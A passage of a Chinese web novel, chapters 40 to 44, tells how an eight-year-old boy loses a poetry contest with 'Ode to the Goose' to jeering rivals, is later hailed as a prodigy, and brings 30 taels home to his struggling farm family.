但是不行,不能一开始就‘发大招’。 他现在才八岁,要维持人设,作一首符合年纪的诗。 心中这样想着。 崔岘目光一转,在瞧见河面上一群大白鹅后,眼睛亮了起来,脱口而出:“有了!” 据传,前世那位名扬千古的公认神童,是七岁创作的这首诗。 完全合适啊! 白河畔。 裴坚等人闻言,神情一震,纷纷做期待倾听状。 难不成……岘弟真的会作诗? 见崔岘学着自己方才的姿态说什么‘有了’,赵耀祖撇撇嘴,回击道:“什么有了,有什么了?此地好大一条河,你是刚看到它吗?” 却听崔岘道:“我写这首诗,名为《咏鹅》。” 赵耀祖悻悻闭嘴,这才看到河面上有白鹅。 但白鹅有什么可写的,松林梅竹才最是高雅啊! 他正不屑思索着。 “鹅,鹅,鹅, 曲项向天歌。” 崔岘声音一出,周围顿时安静下来。 “白毛浮绿水, 红掌拨清波。” 40、妙趣横生,脍炙人口,韵味无穷啊! 白河畔。 崔岘作完诗后,四周围一片安静。 他背对众人,看着河面上成群戏水的白鹅,心中稍微有点小激动。 本来想先暂时凭借《虹猫》和书法字帖扬名,进入裴氏族学读书。 而后,再另找合适的时机作诗。 却不曾想误打误撞,竟被人找上门来斗诗。 那就别怪他不客气了! 今日过后。 《咏鹅》一出,他崔岘这天才神童之名,绝对稳稳地! 然而下一刻—— 就见赵耀祖,以及他身后那群小少年们,在面面相觑的沉默后,齐齐哄笑出声。 “什么玩意儿!” “你这作的也叫诗?连最基本的对仗都做不到。” “开头一句三个字,后面都是五个字,书上不是这样教的!” “何况耀祖兄作的还是更难的七言诗,立意高远,意境优美。” “头一次见有人拿白鹅作诗,当真可笑。” 崔岘:? 听到这些嘲弄声。 他神情僵硬的缓缓转过身,满脸不可置信。 不是,哥们儿…… 这对吗? 赵耀祖等人笑的趾高气扬,将《咏鹅》好一阵肆意痛批。 崔岘求救般看向裴坚:大哥,你快说句话呀! 为我发声! 然而。 大哥裴坚这次却尴尬一笑,支支吾吾一句话说不出来。 半点没有先前的嚣张。 包括庄瑾三位少爷,以及裴氏族学这边的学子们,都如丧考妣。 显然,他们也是这样认为的。 都不对仗,那能叫诗吗? 书上都说了,写诗,必须得对仗啊! 岘弟这首《咏鹅》,后面两句吧,乍一听挺像那么回事儿。 而且还押韵了。 但前面两句,属实……不太行的样子。 崔岘见状哪还会不懂,心中只觉得荒谬极了。 《咏鹅》输给一首不知名的垃圾诗。 原因是对手太菜,盲目无知。 骆宾王若是知道这事儿,棺材板怕都要压不住了吧! 但偏偏,面对这样一群没文化的菜鸡,崔岘有理说不清。 以后再也不打‘低端局’了! 对手全是垃圾人,菜就算了,还专会搞人心态。 嘲笑《咏鹅》足足一盏茶时间后。 赵耀祖一方宣布自己获胜,高傲表示,自己才是南阳最厉害的神童天才。 并训导崔岘:菜就多练。 离开前。 赵耀祖佯装大度,笑呵呵对崔岘道:“你可还有什么要说的?” 崔岘沉默许久,真心建议道:“以后找别人斗诗,切记自带评委。若实在找不到,提前告知对手带个评委过来。” 今日但凡有位秀才在场,结果都不可能如此荒谬。 这是输了以后开始胡言乱语了! 赵耀祖没听懂,也懒得问。 他冷哼一声,带着一帮菜鸡得意欢呼着离开。 “回去后,把我的大作,和崔岘那首《咏鹅》一并抄录,快速去大街小巷传颂!” “南阳神童之名,非我赵耀祖莫属哈哈哈。” 这便是赵耀祖今日的最终目的。 踩着崔岘扬名! 而他,确实做到了。 《虹猫》如今正在南阳县城爆火,八岁未开蒙稚子写话本一事,也成为人们茶余饭后的谈资。 可谓天时、地利、人和俱在! 赵耀祖越想越激动,甚至连家都不回了。 直接去学堂,让一众同窗帮忙抄录大作,准备传颂! 说来也怪哉。 方才在白河畔,大家都觉得赵耀祖这《咏新竹》写的好。 可如今抄录的时候,一回想,竟毫无印象。 反倒崔岘那首《咏鹅》,不必费力思索,便能脱口而出记起。 而且,越读越觉得顺畅。 有朗朗上口之感。 因此抄录几遍后,有人心下嘀咕,迟疑道:“耀祖兄,是否要将这两首诗请示令祖父后,再行定夺?” 赵耀祖闻言十分不快:“不必,这两首诗孰强孰弱,我能看不出来?赶快抄写!” 奥。 大家畏惧赵家权势,不敢多言,闷头抄录。 因为人多,上百份诗词很快抄录完毕。 在赵耀祖的吩咐下,一帮半大少年纷纷带着此诗词,走街串巷分发。 当然,也不是谁都给。 而是专门找那些身穿儒衫的读书人,这样才能最快起到‘扬名’的效果。 等众学子出去分发诗词后不久。 赵耀祖的夫子来到学堂。 立刻有学子为了讨好赵耀祖,献宝般向夫子炫耀:“夫子,耀祖兄今日和人斗诗,作了一首颂扬您的大作呢!” 夫子闻言笑呵呵道:“哦?耀祖又作诗了,念来为师听听。” 赵耀祖矜持一笑,没说话。 旁边巴结炫耀的学子懂了,故意卖起关子:“学生先给您读一读对方作的诗吧,那首诗叫做《咏鹅》。” 显然,这是意图‘抛砖引玉’。 但赵家有权有势,夫子只当不知,很给面子的作倾听状。 “鹅,鹅,鹅, 曲项向天歌。” 听到前两句,原本态度有些敷衍的夫子眼睛一下子亮起来,急切道:“后面呢?” 好生鲜活灵动的描述啊! 虽说遣词简洁,但却充满童趣韵味,而且仅仅前两句,就已朗朗上口! 见夫子态度大变,那学子有些疑惑,迟疑着继续念道: “白毛浮绿水。” 夫子下意识抚摸胡须,脑海中已经有了‘白鹅戏水’的画面。 当真诗中有画,栩栩如生。 “红掌拨清波。” 夫子听得激动拔掉了胡须,疼的脸色都扭曲了。 却忍不住涨红着脸,大声赞叹:“好!好!好一个红掌拨清波啊,简直神来之笔!这首诗是何人所作?” “全篇妙趣横生,脍炙人口,意境清新,回味无穷啊!佩服,实在是佩服!” “我不如也。” “想不到,我南阳城里,竟然有这样一位大家诗才!此诗究竟是哪位先生所作,速速带我前去拜见!” 这话落下,周围陷入死一般的寂静。 所有人都瞠目结舌。 赵耀祖在呆愣后,面色大变:“夫子!这首破诗都没对仗,哪里好了?一个八岁稚童做的庸诗而已。” “学生的《咏新竹》更胜一筹,比他这首强上千百倍!” “方才在白河畔,学生作完诗后赢得满堂彩,那庸才却惹来无数嘲笑,学生赢得十分轻松!” “我这就把《咏新竹》背给你听……” 夫子闻言先是不可置信,然后脸色一点点由激动涨红,转变为……呃……涨红。 气的! 他看向赵耀祖,颤声道:“所以你用这么一首歪诗,赢了对方的《咏鹅》?而《咏鹅》的作者,今年才八岁?” 得到肯定答案后。 夫子眼前一黑,差点没摔倒。 八岁神童作诗。 堪称经典的《咏鹅》。 最后输给一首歪诗。 戏剧性直接拉满! 不出意外,这首诗肯定会火。 再加上如此‘一波三折’的‘斗诗趣事’,那就不仅仅是火,得是爆火! 此事一旦宣扬出去…… 赵耀祖,和他诗中颂扬的‘恩师’,也就是自己,绝对会成为士林中人人笑料的存在。 想到这里,夫子反应过来,近乎乞求期待道:“这事儿,尚且还没人知道吧?” 赵耀祖得意道:“怎么会!我已让同窗帮忙,誊写了百余份诗帖,全城分发了!” 完了! 全完了啊! 在众人瞠目的注视下,夫子一屁股坐在地上,神情绝望。 赵耀祖见状不服气:“夫子这是作甚?我这句先扫先生鬓上华,难道不比那首庸诗……” 他话还没说完。 便见夫子突然跳起来,一巴掌朝着他脑门怒狠狠抽下去:“鬓上华!我让你扫鬓上华!就是因为有你这么个蠢材,我才会有鬓上华!” “平日也没见你如此尊师,今日好端端的,为何写首歪诗,要带上我?!” “以后别人但凡提起《咏鹅》,咱俩就得被奚落嘲讽!” “蠢货!你究竟知不知道,一首脍炙人口的诗,是能流传数年、乃至数十年的啊!” “老夫这一辈子的清誉,全毁在你手里了!” 41、神童诗才 赵耀祖走后。 崔岘、裴坚等人返回族学。 因为斗诗输了,众学子怏怏不乐,各自散去。 还有学子小声抱怨:“不行就别逞强,连对仗都不会,偏要与人斗诗!” “这下不仅自己输了,还连累族学一起丢脸。” 裴坚听得十分生气,双方好一阵争吵。 庄瑾小心看了一眼崔岘,安慰道:“岘弟,莫要听这些人胡说,你已经很厉害了!” 李鹤聿则是提议道:“要不这样,岘弟,你今日不是要回河西村吗,不如提前回去吧。” 这个提议,得到了几位少爷的一致认可。 现在处境尴尬,岘弟还是先走为妙。 崔岘无奈叹气。 偏偏吴清澜又不在,没人为他发声! 既然如此,那就先回家吧。 临行前。 崔岘又去了一趟耳房,将《咏鹅》认真写作诗帖,置于案前。 他相信等吴夫子来了,看到这张字帖,一定会懂得! 一盏茶时间后。 崔岘乘坐大哥裴坚帮忙叫的马车,怀里揣着30两巨款,富贵还乡。 高奇四人也无心读书,悻悻归家。 又约莫过了一个时辰。 赵耀祖的夫子气喘吁吁来到裴氏族学,指名要找崔岘。 结果自是扑了个空。 “罢了罢了,都是命啊!” 老夫子绝望呢喃,随后竟连夜拖家带口,不辞而别,返回乡下去了。 他丢不起这个人呐! 另一边。 赵耀祖派遣出去那些半大少年,先后将《咏新竹》、《咏鹅》两首诗,递给南阳的读书人阅览。 并特地说道:“这首《咏鹅》,是《虹猫蓝兔七侠传》的作者写的。此人有名无才,是个草包。” “因此赵耀祖作诗《咏新竹》,将其碾压的心服口服!” 这一看就是在特地为赵耀祖扬名。 换做平时,读书人们自是懒得理会这等拙劣手段。 可最近这两日,《虹猫蓝兔七侠传》正在南阳火爆销售。 因此很多人都接了诗帖。 一位读书人看完《咏鹅》,当即鼓掌叫好,激动不已。 当听说《咏鹅》竟然输给了《咏新竹》,大怒:“岂有此理!简直滑天下之大稽!《咏新竹》这种歪诗,竟然能赢?” 那发诗帖的少年见状呆愣住,而后灰溜溜跑了。 他觉得有些不太妙。 而这一幕,正在南阳县城多处上演。 当晚。 县丞赵志归家,笑呵呵问道:“乖孙,你今日一定大放异彩了吧!那毛头小子,写了什么诗?” 赵耀祖勉强笑道:“他才八岁,能写出什么好诗!” 赵志一想也是,喜滋滋道:“且看明日,祖父替你好生宣扬一番。” 县丞大人心情极好,做着‘天才乖孙扬名南阳’的美梦。 却没注意到,孙子赵耀祖的表情有些不对劲。 “不可能!那首《咏鹅》就是垃圾,夫子一定是老眼昏花了。” 赵耀祖在心里喃喃道。 但不知为何,他又有些不安,因此没敢对祖父说实话。 次日。 赵志外出,竟然听到几位读书人,正在讨论《咏新竹》,还说什么‘南阳神童诗才’之类的话。 心中振奋得意,赵志上前哈哈笑道:“小儿不才,幸得诸位称赞,在下正是《咏新竹》作者的祖父。” 结果那几位读书人脸色一变,鄙夷看了他一眼,竟直接冷哼拂袖而去。 赵志:? 这些庸才半点绅士风度也无,莫不是嫉妒他家乖孙才华? 世风日下,世风日下啊! 白河码头。 一艘大船缓缓停泊靠岸,裴家的举人老爷子裴崇青走下船。 他最近休沐,乘船从开封府返回南阳。 “快看,是裴家老爷!” “裴老爷,某近日偶得一首诗,据传是一位八岁稚童所作。读后惊艳不已,请裴老爷过目!” 当即有人认出裴崇青,并把一首《咏鹅》双手奉上。 裴崇青随手接过,以为又是哪家稚童,想借自己扬名。 然而等看过这首诗后,裴老爷子激动不已。 他仿佛已经看到白鹅戏水的画面了! “白毛浮绿水,红掌拨清波!好!妙极妙极!栩栩如生,诗中有画!” 反复确认创作者只有八岁,裴老爷子两眼放光:“我南阳,竟出了一位诗才神童!可知此子是谁?” 然而递诗帖那人却摇摇头:“这,暂时不知。” 裴崇青急了。 怎么能不知呢! 必须要赶紧归家,然后去打听这位小神童的消息! 急吼吼返回伏牛巷的路上,裴崇青遇到了高奇的父亲,高千户。 高千户虽然是不值钱的武将,但好歹是位正五品官。 因此哪怕裴崇青心中急迫,也只能耐着性子,和高千户寒暄。 却听高千户笑道:“说起来,前些日子你我两家,还因一书童,闹出了些小波折……” 书童? 裴崇青这才隐约回忆起,上个月,自家孙子坚哥儿写信来开封,大肆吹嘘一位书童,而后遭到儿子开泰的斥责。 高、裴两家一向交好,莫要因此生了嫌隙! 因此裴崇青大度道:“小事,无碍。若你家小子真喜欢那书童,我替坚哥儿做主,将那小书童赠予高奇。” 啊? 高千户惊呆了! 随后大喜,竟眉开眼笑道谢离开,说是要回家告知儿子这个天大的好消息! 裴崇青纳闷,心想就一个书童而已,至于吗? 他摇摇头,心里还惦记着那首《咏鹅》,急切归家。 不曾想,裴老夫人、裴坚都不在家。 原来是得知裴崇青要回来,二人出门去码头接他。 但今日顺风顺水,裴崇青的船提前靠岸了。 “管家,你差人去码头,告知老夫人和坚哥儿,说我已经平安回府。” 裴崇青吩咐一声,而后又随口道:“对了,坚哥儿身边是有个书童吧。方才我许诺高千户,把这书童赠予高奇,你回头知会一下坚哥儿。” 说完后。 裴老爷子急急进了书房。 唯独留下管家震惊的站在原地,脸色发白。 其余听见这话的裴家仆从们,也都一副‘天塌了’的惊恐表情。 老爷把岘哥儿赠予了高奇少爷? 天呐! 先前高、庄、李三家费尽好大心思,都没把岘哥儿抢走,结果却被老爷轻飘飘给送走了! 等老夫人和小少爷回来,一定会疯掉的! 书房。 不知自己即将‘大难临头’的裴崇青,满脑子都是那首《咏鹅》。 越想越觉得惊艳! 当真童趣盎然,朗朗上口啊! 心中激动的裴老爷,随手拿起案上一本书,握在手中来回踱步,思索该如何寻找这位神童天才的踪迹。 “咿?《虹猫蓝兔七侠传》?话本?” 思索的时候,裴老爷瞄了一眼那话本的名字,脸上浮现出怒意:“定是坚哥儿这孩子的闲书,气煞我也!别人八岁作《咏鹅》,你天天不务正业看话本。” 说着,裴崇青气呼呼翻开那本书。 然后—— 不出意外,看到如痴如醉,深陷其中,无法自拔了! 连《咏鹅》神童都暂时抛到了脑后。 “长虹贯日?好生霸气的招式!” “虹猫当真不愧少侠之名!” “黑心虎,给老夫纳命来!” 42、巨款30两惊呆全家人 当裴崇青老爷在书房里,如痴如醉看《虹猫》的时候。 高家。 小少爷高奇躺在卧房里生闷气。 直娘贼赵耀祖,找人捉刀了一首破诗,压着真正的神童天才岘弟扬名。 可恶! 小爷我一定要找机会,好生揍他一顿! 正当高奇心中愤愤的时候,卧房门被推开。 千户大人喜滋滋走进来,嘿笑道:“儿子,有好消息哟。” 高奇翻了个身,怏怏不乐:“什么啊?” “方才为父遇到裴家老爷子,裴老爷子做主,说是同意把岘哥儿送到咱们府上来陪你了。” 什、什么? 本来正难受着的高奇一咕噜爬起来,开心到结巴:“真……真的吗,爹你可别骗我!” 高千户顿时道:“裴家老爷子亲口说的,那还能有假!” 高奇闻言晕晕乎乎,被这个惊喜砸懵了。 太好了! 但……裴坚肯定会气死的吧? 算了管不了这么多了,这次可不是我主动抢你小弟,要怪就怪你祖父吧! 心中闪过一些念头。 高奇从床上跳起来,迫不及待道:“岘弟回河西村了,爹,我想现在就去寻他,告诉他这个好消息!” 现在? 高千户看了看外面毒辣的日头,迟疑道:“六月农忙,村子里都在紧赶着收麦子,哪有功夫招待咱?不如等岘哥儿回来再……” 等岘弟回来,黄花菜都凉了! 小弟被抢,裴坚那厮肯定要闹个天翻地覆的。 这个时候得抢占先机啊。 但岘弟家要忙着收麦子……等等,有了! 高奇眼睛亮起来:“爹,你喊上二十个好汉,咱们去河西村,给岘弟家收麦子吧!” 啊? 高千户闻言不停摇头:“不妥不妥,你爹我好歹是个五品千户,岂能下田给人收麦子?而且收麦子很累的!” 高奇诱惑道:“爹你看完《虹猫》后,不是一直眼馋岘弟给我做的虹猫少侠摩喉罗吗?” “等咱们到了河西村,我让岘弟再给你做一个!” 高千户心动了,一咬牙:“行!” 于是,一盏茶功夫后。 高家父子,带领二十位身强力壮的好汉,浩浩荡荡朝着河西村而去。 · 再说崔岘这边。 那日,他乘坐马车,自裴氏族学返回河西村。 六月日头猛烈,村民们在村口纳凉。 猛然瞧见一辆马车来到河西村,都瞪大眼睛张望。 结果,下车的竟然是崔家岘哥儿! 哎呦这下顿时热闹了,大家七嘴八舌围过来,一副看笑话的表情。 “岘哥儿,你真被老崔氏送去做书童啦?” “天可怜见的。” “你这段时间没回来,怕是还不知道,你祖母疯啦,把你爹、你大伯关进牛棚里了呢!” “还有还有,你家牛也被卖喽!” “麦子收完马上就要耕地,没了牛,你家咋干农活儿?” “别说耕田,你家现在收麦子也是个难题!” 崔岘听得心中一沉。 面上却不显,佯装好奇问道:“各位今年地里是收成不好?” 有个嘴快的婶子下意识递话:“确实不太好。” 崔岘闻言就笑:“怪不得,大把时间用来说别家闲话,嘴比人都勤快,收成能好才怪嘞!” 这孩子,怎么说话呢! 一帮大人被挤兑的脸面挂不住。 但崔岘已经懒得理会这些人,小跑着回家。 离家两三个月,再次看到自家破落的房屋,难免觉得亲切。 “祖母,爹,娘!我回来啦!” 崔岘一边喊人,一边推门进了院子。 而他突然回来,也让家里人吓了一跳。 “岘哥儿?” 老崔氏、林氏听到动静,赶紧走出屋子。 接着,肚子滚圆的陈氏也蹒跚走出来,神情激动:“岘哥儿,你咋回来了?快过来让娘看看。” 崔岘赶紧跑过去,陈氏拉着儿子,母子二人自是好一阵嘘寒问暖。 结果这时候。 却见崔璇、崔钰姐弟二人,端着饭碗从小后院回来。 瞧见崔岘,姐弟二人先是惊喜,随后想到了什么,赶忙把饭碗往身后藏。 那是给牛棚里崔伯山、崔仲渊兄弟二人送的。 家里氛围顿时变得很是微妙。 崔岘佯装不知,笑道:“阿姐,阿兄,我回来了。对了,爹和大伯呢,我有好消息要跟大家一起分享。” 老崔氏含糊道:“他俩正读书呢。” 两个儿媳妇没吭声。 崔钰抿了抿嘴,他是前天从学堂回来的。 家里现在情况艰难。 一家人还没商量妥当,何时接岘哥儿回来,告知他这些沉重的消息。 为此,崔家人这几天都没睡好。 结果岘哥儿竟自己回来了! 也好,既然回来了,有些事情终究瞒不住。 陈氏叹了口气,揉了揉儿子的脑袋:“一路回来累着了吧,走,先进屋。刚好,娘跟祖母也有些事情要同你说。” 一家人沉默着进了堂屋,个个表情忧虑。 唯有崔岘一直在笑。 他模样好,眼睛黝黑,笑起来格外好看。 以至于陈氏、老崔氏二人嘴巴嗑动好几次,都没能开口。 该怎么说呢? 说你爹、你大伯被关进牛棚读书,前些日子因天气太热中暑了,上吐下泻,吃药花了很多钱。 说家里把牛卖了。 说明日就准备收麦子,但到现在,还没找好帮工。 因为对方知道崔家窘迫,所以故意要高价。 说老崔氏这几天急的一直哭。 说崔家现在成了全村的笑柄。 全是糟心事儿,没有一件好的,这怎么开得了口? 岘哥儿小小年纪,在裴府做书童已极为不容易,再给他说这些…… 家里人实在于心不忍啊! 见始终没人开口,崔岘笑道:“那,我先来说说我的好消息?” 陈氏闻言涩声道:“岘哥儿你说,娘听着呢。” 于是,在全家人的注视下。 崔岘站起来,从怀里掏出一个鼓鼓的荷包,拆开,就这样直接倒在了桌子上。 哗啦啦! 一大把白花花的碎银子,在桌面上来回跳动。 那个瞬间,崔家堂屋的气氛都凝滞了。 老崔氏猛然瞪直双眼,倒抽一口冷气。 崔钰、崔璇姐弟俩人都傻了。 陈氏捂着肚子,发出一声‘娘嘞’的惊呼。 林氏噌的一下站起来,满脸不可思议。 看着全家人呆滞的表情。 崔岘笑嘿嘿道:“这就是我要分享的好消息!我前段时间,写了个话本,赚了30两稿酬。” 多少? 30两!! 天呐!那可是整整30两啊! 都是岘哥儿赚的? 陈氏等人已经震惊到说不出话。 活了大半辈子,他们都没见过这么多钱! 老崔氏哆嗦着,猛然将一件旧衣服盖到那些银子上面,颤声道:“老大媳妇去关门,再把……把伯山、仲渊喊过来。” 片刻后。 被关了好几个月牛棚,从不允许出来的崔伯山、崔仲渊兄弟二人,疑惑进了堂屋。 不出意外,兄弟俩也惊呆了。 “30两?岘哥儿赚的?” “老天爷啊,这么多钱,我该不会是住牛棚住到出现幻觉了吧!” “小点声别让人听到了!” 43、旷世奇才竟是小书童?! 崔家,堂屋。 “岘哥儿,你的意思是说。你虽未开蒙,但是某日突然来了灵感,构思出一个话本故事。” “裴家少爷,和他的三位同窗,帮你代笔著作、出版。” “然后你就……赚到了30两银子?” 面对瞠目、呆滞、激动的一家人。 崔岘点点头,无辜笑道:“对啊,哪里有问题吗?” 这……好像乍一看,确实没问题。 问题是,那可是整整30两银子啊! 崔仲渊咽了口唾沫:“咱全家人不吃不喝,攒十年,都不见得能攒下来这么多钱呐。” “岘哥儿才离家不到仨月,就赚到了。” 关键崔岘才八岁啊。 这样一想,总有种晕晕乎乎的不真实感! 两个多月前。 崔岘离家的时候,老崔氏心想,岘哥儿这孩子,将来怕是要有大出息。 结果不用等到‘将来’。 岘哥儿现在就出息了! 这样想着,老崔氏按捺住激动,将那些碎银子收好,又递给崔岘:“好孩子,你赚的钱,自然应该你收着。” 全家人对此都没有异议。 陈氏趁机道:“娘,岘哥儿好不容易回来一趟。让相公晚上睡卧房,陪陪岘哥儿吧。” 崔仲渊顿时目露期待。 林氏、崔伯山也忐忑看向老崔氏。 崔老太太心情极好,因此痛快道:“好,老大也陪陪钰哥儿吧。” 一家人顿时都眉开眼笑。 崔岘适时问道:“对了,娘,祖母,你们方才有什么事儿要跟我说呀?” 刚才确实是有事儿。 但现在,没事了! 在30两巨款面前,一切事儿都不是事儿了。 这笔庞大的钱,足以让一个支离破碎的家,重新再‘支棱’起来! 崔老太太笑着不停摆手:“那些都不重要了,好孩子,你是咱家的大功臣啊。” 这些天,崔家可没少被村里人嘲弄! 崔岘多半也能猜到祖母的一些想法。 他笑着想,30两只是个开始。 用不上几天,吴清澜怕是就要亲自登门,来寻找‘南阳最厉害的神童天才’了。 到时候,全家人肯定会更加瞠目、兴奋吧! 崔家也能在村里,狠狠扬眉吐气一把。 只是,崔岘还是想‘窄了’。 因为即将来崔家登门的,绝对不仅仅一个吴清澜而已! 那日。 裴家老爷裴崇青,先行坐船从开封府返回南阳。 不到半日的功夫。 吴清澜、和裴家大爷裴开泰,也紧急登上回南阳的船只。 裴老夫人、裴坚二人在码头等了许久,始终没等到裴老爷子。 却把裴家大爷给等回来了! 瞧见祖孙二人,裴开泰很是意外:“咿?娘,坚哥儿,你们俩怎知我回来了?” 裴老夫人更纳闷:“开泰,你不在府学读书,怎地回来了?娘在等你爹呢!” 而裴坚则是看着跟在老爹身边的吴清澜,恍然大悟:“吴夫子?我说你近几日怎么不在族学,你竟去了开封!” 四人互相对视,总觉得有哪里不太对。 结果下一刻。 裴府管家如丧考妣赶来,哭嚷道:“老夫人,小少爷!老爷已经回府了,他还自行做主,把岘哥儿送给高家了!” 什么?! 那个瞬间,裴坚只觉得天都要塌了。 当即顾不得别的,撒腿就往家跑。 裴老夫人更是眼前发黑:“快,快送我回府!这老糊涂东西,看我回家不把他那张老脸挠花!” 在吴清澜、裴开泰瞠目的注视下。 祖孙二人,和一众裴府家仆,就这么风风火火的走了。 裴开泰尴尬道:“就算不是来接我的,好歹也别把我丢下啊。” 吴清澜则是没工夫理会裴府家事,说道:“开泰兄既已回到南阳,那我就先行回族学了。” 他惦记着族学里那位旷世奇才呢! 万一这段时间他不在的时候,那奇才回来了呢。 裴开泰对此心知肚明,赶忙道:“好,清澜兄快去吧,一切有我。” 于是二人在码头分别。 吴清澜去族学。 他刚回去,便有一堆学子围过来,七嘴八舌的‘告状’。 什么岘哥儿还未开蒙便写出《虹猫蓝兔七侠传》。 什么《咏鹅》斗诗输了,赵耀祖好生猖狂。 这都在说些什么啊! 《虹猫》不是裴坚那四位少爷合著的吗? 吴清澜惦记着去耳房,心中急躁,因此将学生们随意打发了。 可等进耳房里,看到桌面上那首《咏鹅》后,当即浑身一震! 是他! 那位旷世奇才,他果真回来了! 字迹还是一如既往的惊艳。 当吴清澜定睛读完那首诗以后,激动到脸色涨红,恨不得在耳房里舞之蹈之。 好一首上上乘佳作! 如果一个人,他有成为未来书圣的潜质,堪称旷世奇才。 同时‘未来书圣’还会写诗呢? 这不得是文曲星下凡?! 吴清澜猛然想起刚才学生们似乎提起《咏鹅》。 于是拿起那张诗帖走出去,振声问道:“这首《咏鹅》,谁写的?!” “是裴坚身边的书童崔岘写的。” “夫子我们刚才和你说了啊,这首《咏鹅》输给了赵耀祖的《咏新竹》。” 听到这话。 吴清澜心中第一想法:原来奇才是裴坚身边那位不起眼的小书童! 第二想法:八岁,刚开蒙,未来书圣,创作《咏鹅》?文曲星,必须是文曲星! 第三想法:《咏鹅》输了。 输了?! 吴清澜只觉得一股无名怒火冲顶,咬牙切齿道:“欺人太甚,欺人太甚啊!我吴清澜从此和赵家势不两立!《咏鹅》这首上乘佳作,竟输给了一首歪诗!” 听到这话,族学里的学子们目瞪口呆。 另一边。 裴开泰返回裴府。 不出意外,回去后家里好一阵鸡飞狗跳。 裴坚满脸怒意,红着眼睛向祖父质问着什么。 而裴老夫人更离谱,真上手把裴崇青的脸给挠花了! 举人老爷裴崇青狼狈闪躲,嘴里却说得是:“不就一个书童,你们俩至于吗!别挠了别挠了,老太婆你过分了啊!” “要不,你等我看完这话本以后再挠,我正看的过瘾呢!” 裴开泰:“……” 这都什么跟什么啊! 还有,什么话本啊,被挠都要继续看? 而且……一个书童而已,确实不至于。 却听裴坚冷笑一声:“你还有脸看话本?这《虹猫蓝兔七侠传》的作者,都被你送给高家去了!” 裴崇青老爷子当即吃了一惊:被他随手送人的小书童,竟是《虹猫》的作者? 裴老爷子心中顿时生起悔意。 这时候,就见吴清澜急急来到裴府,大声道:“开泰兄,那位旷世奇才找到了,他叫做崔岘,是裴坚的书童。” 这下。 裴开泰也朝他爹怒目而视:“爹!你干的好事儿,你知不知道那位书童,未来有可能成为书圣的啊!” 先被孙子、夫人斥责,如今儿子也来发难。 裴崇青也恼了:“什么书圣?逆子,你敢跟你爹我这么说话?” 下一刻。 就听吴清澜说道:“不仅仅是未来书圣,崔岘还有极高的诗才!且看这首《咏鹅》,便是他创作的,他才八岁!” 哦?未来书圣还会写诗? 裴开泰很是好奇。 而裴老爷子则是彻底惊呆了,后悔不迭:“什么?《咏鹅》竟是那位书童写的?今年果真才八岁?!完了,怪不得高千户那厮跟捡到宝了似的开心!” “老夫这是亲手把宝贝送出去了啊!” 说完,他竟直接夺门而出:“不行,我要去找高千户,把人要回来!” 与此同时。 看完《咏鹅》的裴开泰激动不已:“好诗!好诗啊!” 可一想到这样一位神童,竟被亲爹拱手相让他人。 裴开泰又怒道:“娘,我爹真是老糊涂了,你必须要狠狠挠他!” 裴老夫人、裴坚看的目瞪口呆。 怎么个事儿这是? 唯有裴坚听到《咏鹅》,反应过来了。 看夫子、父亲、祖父的反应,难不成—— 《咏鹅》是首上好佳作?! 问题是…… 裴坚喃喃道:“不会吧?《咏鹅》只是岘弟看完《声律启蒙》后,随意创作的啊。” 吴清澜、裴开泰听到这话,浑身一震! 老天啊! 44、千户大人给他家收麦子 崔岘回来的这晚,一家人难得睡了个好觉。 尤其是崔伯山、崔仲渊兄弟俩。 住了好几个月牛棚,终于能再次睡到床上了! 真不容易呀。 以至于夜里,崔仲渊抱着儿子岘哥儿,稀罕的不肯撒手。 陈氏也一直在傻笑。 他们家儿子,当真是出息啦! 唯有崔岘苦着小脸。 六月酷暑,还被亲爹一直抱着,他热呀。 次日。 崔岘在鸡叫、蝉鸣声中醒来,整个人心里都有种难以言喻的舒适、安定。 裴府条件虽好。 但金窝银窝,都不如自家的草窝啊。 他走出卧房,一家人都已经起来了。 祖母老崔氏看起来精神抖擞:“待会儿老大媳妇跟我一起,去隔壁村雇人。我方才瞧见,已经有人家赶早开始收麦子了,咱们也得抓紧时间。” 林氏笑着应道:“行。” 岘哥儿带回来的30两巨款,就是一颗强力定心丸。 让一家人都有了底气。 崔钰正在院子里读书,瞧见岘哥儿起床,笑着跑过来亲昵喊道:“阿弟!” 几个月不见,他看起来清瘦了很多。 再加上已经正式开蒙,身上带着点书卷气,像是‘缩小版’的先生。 “阿兄。” 崔岘伸出手,兄弟二人默契碰了碰拳头。 瞧着感情和睦的两兄弟,老崔氏等人互相对视,一家人都看懂了彼此的意思。 岘哥儿赚到了这么一大笔钱。 没道理再让他做书童了。 等夏收后,便送岘哥儿一起,跟钰哥儿去顾夫子的私塾读书罢。 当然,眼前最该忙活的,还得是收麦子! “老大老二,带着俩小的锻炼体魄,老大媳妇去做早食。” 崔老太太抬眼看了看天:“今儿个有的忙了。” 崔岘笑眯眯道:“我最近休沐,刚好也能去地里帮忙收麦子。” 于是,一家人井然有序的开始忙碌。 也是奇了! 平日家里氛围紧绷,一家子苦兮兮的。 可岘哥儿只要一回来,家里所有的烦心事儿,好似都没了。 等忙活完,开始吃早食的时候。 林氏更是给全家人都加食了一枚咸鸡蛋。 夏日炎热。 坐在院子树荫下,吹着风。 一颗流着黄油的咸蛋,配上窝头细细咀嚼,美得哟! 偏偏这个时候。 河西村的里长,又大煞风景来登门了。 瞧见他,老崔氏脸色拉下来:“怎么,又有徭役名额要分予我家了?” 其余崔家人也都紧张站起来。 结果。 却见里长连连摆手,颤声看着崔岘激动道:“不,不是!是千户大人!南阳卫的千户老爷,和他的公子来了!” “指名道姓,说是来探望岘哥儿!” “嫂子,岘哥儿,你们快出来迎接,这会儿全村都轰动了。” “咱们村里,头一次来这般尊贵的大人物呢!” 谁? 南阳卫的千户大人! 娘嘞! 听到这话,全家人都愣愣看向崔岘,似是有些没反应过来。 而崔岘同样有些惊讶。 高奇怎么来了? · 半盏茶时间之前。 河西村口。 一辆马车,和十几匹骏马浩浩荡荡赶来。 如此大的动静,让原本准备去收麦子的村民们,都惊呆了。 因为骑马的那些汉子,一个个身强力壮,十分魁梧。 领头那辆马车,更是格外奢华! 一看就非富即贵。 而且这年头,能带领如此多的马匹出行,多半是军老爷! 河西村偏僻穷苦,平时几乎很少会有大人物过来。 村民们都慌了神。 也是巧了,河西村的里长刚出家门,准备去田里收麦子呢。 瞧见这群来历不明的贵人,当即稳住心神,上前打招呼:“草民河西村里长,敢问老爷名讳?” 奢华马车在村口停下。 接着。 一个锦衣华服的年轻小公子走出来,好奇向四周打量:“这里便是河西村?岘弟的家?” 高千户紧跟着儿子走出来。 有士兵骑马上前来,对里长说道:“这是我们南阳卫的千户大人,和大人家的公子!” 老,老天爷啊! 